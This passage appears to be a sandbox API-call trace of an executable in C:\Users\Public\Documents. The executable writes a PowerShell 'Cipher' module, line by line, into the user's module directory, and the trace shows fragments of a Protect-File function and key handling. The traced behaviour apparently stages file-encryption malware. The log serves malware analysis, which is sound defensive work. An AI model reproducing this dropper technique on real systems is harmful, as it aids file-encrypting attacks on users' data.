lpNumberOfBytesWritten=0x1ceb98*=0x4a, lpOverlapped=0x0) returned 1 [0062.967] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.968] _close (_FileHandle=3) returned 0 [0062.968] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fcab0 [0062.968] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.968] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.968] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.968] GetFileType (hFile=0x7) returned 0x2 [0062.969] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.969] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ced80 | out: lpMode=0x1ced80) returned 1 [0062.969] _dup (_FileHandle=1) returned 3 [0062.969] _close (_FileHandle=1) returned 0 [0062.970] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.970] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ced50, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.970] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.970] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.970] GetFileType (hFile=0x1c) returned 0x1 [0062.970] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x36b [0062.970] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ced68*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ced68*=0) returned 0x36a [0062.970] ReadFile (in: hFile=0x1c, lpBuffer=0x1ced60, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ced5c, lpOverlapped=0x0 | out: lpBuffer=0x1ced60*, lpNumberOfBytesRead=0x1ced5c*=0x1, lpOverlapped=0x0) returned 1 [0062.970] GetConsoleTitleW (in: lpConsoleTitle=0x1ceb80, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.970] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x8c) returned 0x5e8290 [0062.970] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e8290, Size=0x18) returned 0x5e8290 [0062.970] GetProcessHeap () returned 0x5d0000 [0062.970] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e8290) returned 0x18 [0062.971] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x54) returned 0x5fed10 [0062.971] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ceb48 | out: _Buffer=" else { \r\n") returned 33 [0062.971] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.971] GetFileType (hFile=0x1c) returned 0x1 [0062.971] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" else { \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" else { \r\n", lpUsedDefaultChar=0x0) returned 34 [0062.971] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x1ceb34, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ceb34*=0x21, lpOverlapped=0x0) returned 1 [0062.971] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.972] _close (_FileHandle=3) returned 0 [0062.973] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fcad0 [0062.973] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.973] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.973] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.973] GetFileType (hFile=0x7) returned 0x2 [0062.973] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.973] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ced1c | out: lpMode=0x1ced1c) returned 1 [0062.973] _dup (_FileHandle=1) returned 3 [0062.974] _close (_FileHandle=1) returned 0 [0062.974] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.974] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cecec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.974] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.974] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.975] GetFileType (hFile=0x1c) returned 0x1 [0062.975] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x38c [0062.975] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ced04*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ced04*=0) returned 0x38b [0062.975] ReadFile (in: hFile=0x1c, lpBuffer=0x1cecfc, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cecf8, lpOverlapped=0x0 | out: lpBuffer=0x1cecfc*, lpNumberOfBytesRead=0x1cecf8*=0x1, lpOverlapped=0x0) returned 1 [0062.975] GetConsoleTitleW (in: lpConsoleTitle=0x1ceb1c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x234) returned 0x5e82b0 [0062.975] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e82b0, Size=0xd6) returned 0x5e82b0 [0062.975] GetProcessHeap () returned 0x5d0000 [0062.975] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e82b0) returned 0xd6 [0062.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x128) returned 0x5e8390 [0062.975] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ceae4 | out: _Buffer=" return [System.Convert]::ToBase64String($Crypto.Key) | ConvertTo-SecureString -AsPlainText -Force } } \r\n") returned 139 [0062.975] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.975] GetFileType (hFile=0x1c) returned 0x1 [0062.975] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" return [System.Convert]::ToBase64String($Crypto.Key) | ConvertTo-SecureString -AsPlainText -Force } } \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" return [System.Convert]::ToBase64String($Crypto.Key) | ConvertTo-SecureString -AsPlainText -Force } } \r\n", lpUsedDefaultChar=0x0) returned 140 [0062.975] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x8b, lpNumberOfBytesWritten=0x1cead0, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cead0*=0x8b, lpOverlapped=0x0) returned 1 [0062.976] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.977] _close (_FileHandle=3) returned 0 [0062.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fcaf0 [0062.977] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.977] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.977] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.977] GetFileType (hFile=0x7) returned 0x2 [0062.978] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.978] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cecb8 | out: lpMode=0x1cecb8) returned 1 [0062.978] _dup (_FileHandle=1) returned 3 [0062.979] _close (_FileHandle=1) returned 0 [0062.979] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.979] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cec88, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.979] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.979] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.979] GetFileType (hFile=0x1c) returned 0x1 [0062.979] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x417 [0062.980] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ceca0*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ceca0*=0) returned 0x416 [0062.980] ReadFile (in: hFile=0x1c, lpBuffer=0x1cec98, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cec94, lpOverlapped=0x0 | out: lpBuffer=0x1cec98*, lpNumberOfBytesRead=0x1cec94*=0x1, lpOverlapped=0x0) returned 1 [0062.980] GetConsoleTitleW (in: lpConsoleTitle=0x1ceab8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x110) returned 0x5e84c0 [0062.980] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e84c0, Size=0x44) returned 0x5e84c0 [0062.980] GetProcessHeap () returned 0x5d0000 [0062.980] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e84c0) returned 0x44 [0062.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x96) returned 0x5e8510 [0062.980] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cea80 | out: _Buffer=" catch { Write-Error $_ } } } \r\n") returned 66 [0062.980] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.980] GetFileType (hFile=0x1c) returned 0x1 [0062.980] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" catch { Write-Error $_ } } } \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" catch { Write-Error $_ } } } \r\n", lpUsedDefaultChar=0x0) returned 67 [0062.980] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x1cea6c, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cea6c*=0x42, lpOverlapped=0x0) returned 1 [0062.980] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.982] _close (_FileHandle=3) returned 0 [0062.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fcb10 [0062.982] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.982] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.982] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.982] GetFileType (hFile=0x7) returned 0x2 [0062.983] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.983] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cec54 | out: lpMode=0x1cec54) returned 1 [0062.983] _dup (_FileHandle=1) returned 3 [0062.983] _close (_FileHandle=1) returned 0 [0062.984] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.984] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cec24, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.984] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.984] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.984] GetFileType (hFile=0x1c) returned 0x1 [0062.984] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x459 [0062.984] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cec3c*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cec3c*=0) returned 0x458 [0062.984] ReadFile (in: hFile=0x1c, lpBuffer=0x1cec34, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cec30, lpOverlapped=0x0 | out: lpBuffer=0x1cec34*, lpNumberOfBytesRead=0x1cec30*=0x1, lpOverlapped=0x0) returned 1 [0062.984] GetConsoleTitleW (in: lpConsoleTitle=0x1cea54, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x78) returned 0x5ebdd8 [0062.985] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5ebdd8, Size=0x3a) returned 0x5f5340 [0062.985] GetProcessHeap () returned 0x5d0000 [0062.985] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5f5340) returned 0x3a [0062.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4a) returned 0x5e85b0 [0062.985] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cea1c | out: _Buffer="Function Protect-File { \r\n") returned 28 [0062.985] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.985] GetFileType (hFile=0x1c) returned 0x1 [0062.985] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Function Protect-File { \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Function Protect-File { \r\n", lpUsedDefaultChar=0x0) returned 29 [0062.985] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x1cea08, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cea08*=0x1c, lpOverlapped=0x0) returned 1 [0062.985] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.986] _close (_FileHandle=3) returned 0 [0062.987] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fcb30 [0062.987] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.987] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.987] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.987] GetFileType (hFile=0x7) returned 0x2 [0062.987] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.987] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cebf0 | out: lpMode=0x1cebf0) returned 1 [0062.987] _dup (_FileHandle=1) returned 3 [0062.988] _close (_FileHandle=1) returned 0 [0062.988] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.988] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cebc0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.988] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.988] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.988] GetFileType (hFile=0x1c) returned 0x1 [0062.989] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x475 [0062.989] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cebd8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cebd8*=0) returned 0x474 [0062.989] ReadFile (in: hFile=0x1c, lpBuffer=0x1cebd0, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cebcc, lpOverlapped=0x0 | out: lpBuffer=0x1cebd0*, lpNumberOfBytesRead=0x1cebcc*=0x1, lpOverlapped=0x0) returned 1 [0062.989] GetConsoleTitleW (in: lpConsoleTitle=0x1ce9f0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.989] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xf4) returned 0x5e8608 [0062.989] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e8608, Size=0x7a) returned 0x5e8608 [0062.989] GetProcessHeap () returned 0x5d0000 [0062.989] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e8608) returned 0x7a [0062.989] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x88) returned 0x5e8690 [0062.989] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce9b8 | out: _Buffer="[CmdletBinding(DefaultParameterSetName='SecureString')] \r\n") returned 59 [0062.989] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.989] GetFileType (hFile=0x1c) returned 0x1 [0062.989] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[CmdletBinding(DefaultParameterSetName='SecureString')] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[CmdletBinding(DefaultParameterSetName='SecureString')] \r\n", lpUsedDefaultChar=0x0) returned 60 [0062.989] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x1ce9a4, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce9a4*=0x3b, lpOverlapped=0x0) returned 1 [0062.990] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.991] _close (_FileHandle=3) returned 0 [0062.991] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fcb50 [0062.991] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.991] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.991] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.991] GetFileType (hFile=0x7) returned 0x2 [0062.992] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.992] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ceb8c | out: lpMode=0x1ceb8c) returned 1 [0062.992] _dup (_FileHandle=1) returned 3 [0062.992] _close (_FileHandle=1) returned 0 [0062.993] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.993] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ceb5c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.993] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.993] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.993] GetFileType (hFile=0x1c) returned 0x1 [0062.993] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4b0 [0062.993] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ceb74*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ceb74*=0) returned 0x4af [0062.993] ReadFile (in: hFile=0x1c, lpBuffer=0x1ceb6c, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ceb68, lpOverlapped=0x0 | out: lpBuffer=0x1ceb6c*, lpNumberOfBytesRead=0x1ceb68*=0x1, lpOverlapped=0x0) returned 1 [0062.993] GetConsoleTitleW (in: lpConsoleTitle=0x1ce98c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.994] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xa8) returned 0x5e8720 [0062.994] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e8720, Size=0x54) returned 0x5e8720 [0062.994] GetProcessHeap () returned 0x5d0000 [0062.994] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e8720) returned 0x54 [0062.994] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x62) returned 0x602a60 [0062.994] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce954 | out: _Buffer="[OutputType([System.IO.FileInfo[]])] \r\n") returned 40 [0062.994] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.994] GetFileType (hFile=0x1c) returned 0x1 [0062.994] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[OutputType([System.IO.FileInfo[]])] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[OutputType([System.IO.FileInfo[]])] \r\n", lpUsedDefaultChar=0x0) returned 41 [0062.994] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x1ce940, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce940*=0x28, lpOverlapped=0x0) returned 1 [0062.994] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.996] _close (_FileHandle=3) returned 0 [0062.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fcb70 [0062.997] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.997] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.997] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.997] GetFileType (hFile=0x7) returned 0x2 [0062.997] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.997] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ceb28 | out: lpMode=0x1ceb28) returned 1 [0062.997] _dup (_FileHandle=1) returned 3 [0062.998] _close (_FileHandle=1) returned 0 [0062.999] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.999] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ceaf8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.999] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.999] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.999] GetFileType (hFile=0x1c) returned 0x1 [0062.999] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4d8 [0062.999] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ceb10*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ceb10*=0) returned 0x4d7 [0062.999] ReadFile (in: hFile=0x1c, lpBuffer=0x1ceb08, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ceb04, lpOverlapped=0x0 | out: lpBuffer=0x1ceb08*, lpNumberOfBytesRead=0x1ceb04*=0x1, lpOverlapped=0x0) returned 1 [0062.999] GetConsoleTitleW (in: lpConsoleTitle=0x1ce928, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1d4) returned 0x603a48 [0063.000] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x603a48, Size=0xe2) returned 0x603a48 [0063.000] GetProcessHeap () returned 0x5d0000 [0063.000] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x603a48) returned 0xe2 [0063.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xf8) returned 0x603b38 [0063.000] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce8f0 | out: _Buffer="Param([Parameter(Mandatory=$true, Position=1, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] \r\n") returned 115 [0063.000] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.000] GetFileType (hFile=0x1c) returned 0x1 [0063.000] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Param([Parameter(Mandatory=$true, Position=1, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Param([Parameter(Mandatory=$true, Position=1, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] \r\n", lpUsedDefaultChar=0x0) returned 116 [0063.000] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x1ce8dc, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce8dc*=0x73, lpOverlapped=0x0) returned 1 [0063.000] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.001] _close (_FileHandle=3) returned 0 [0063.002] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fcb90 [0063.002] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.002] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.002] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.002] GetFileType (hFile=0x7) returned 0x2 [0063.002] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.002] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ceac4 | out: lpMode=0x1ceac4) returned 1 [0063.002] _dup (_FileHandle=1) returned 3 [0063.003] _close (_FileHandle=1) returned 0 [0063.003] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.003] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cea94, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.003] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.003] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.003] GetFileType (hFile=0x1c) returned 0x1 [0063.004] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x54b [0063.004] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ceaac*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ceaac*=0) returned 0x54a [0063.004] ReadFile (in: hFile=0x1c, lpBuffer=0x1ceaa4, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ceaa0, lpOverlapped=0x0 | out: lpBuffer=0x1ceaa4*, lpNumberOfBytesRead=0x1ceaa0*=0x1, lpOverlapped=0x0) returned 1 [0063.004] GetConsoleTitleW (in: lpConsoleTitle=0x1ce8c4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xa4) returned 0x603c38 [0063.004] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x603c38, 